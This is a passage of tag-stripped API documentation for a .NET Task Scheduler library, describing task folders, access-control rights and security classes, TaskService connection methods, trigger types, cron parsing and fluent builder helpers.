TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 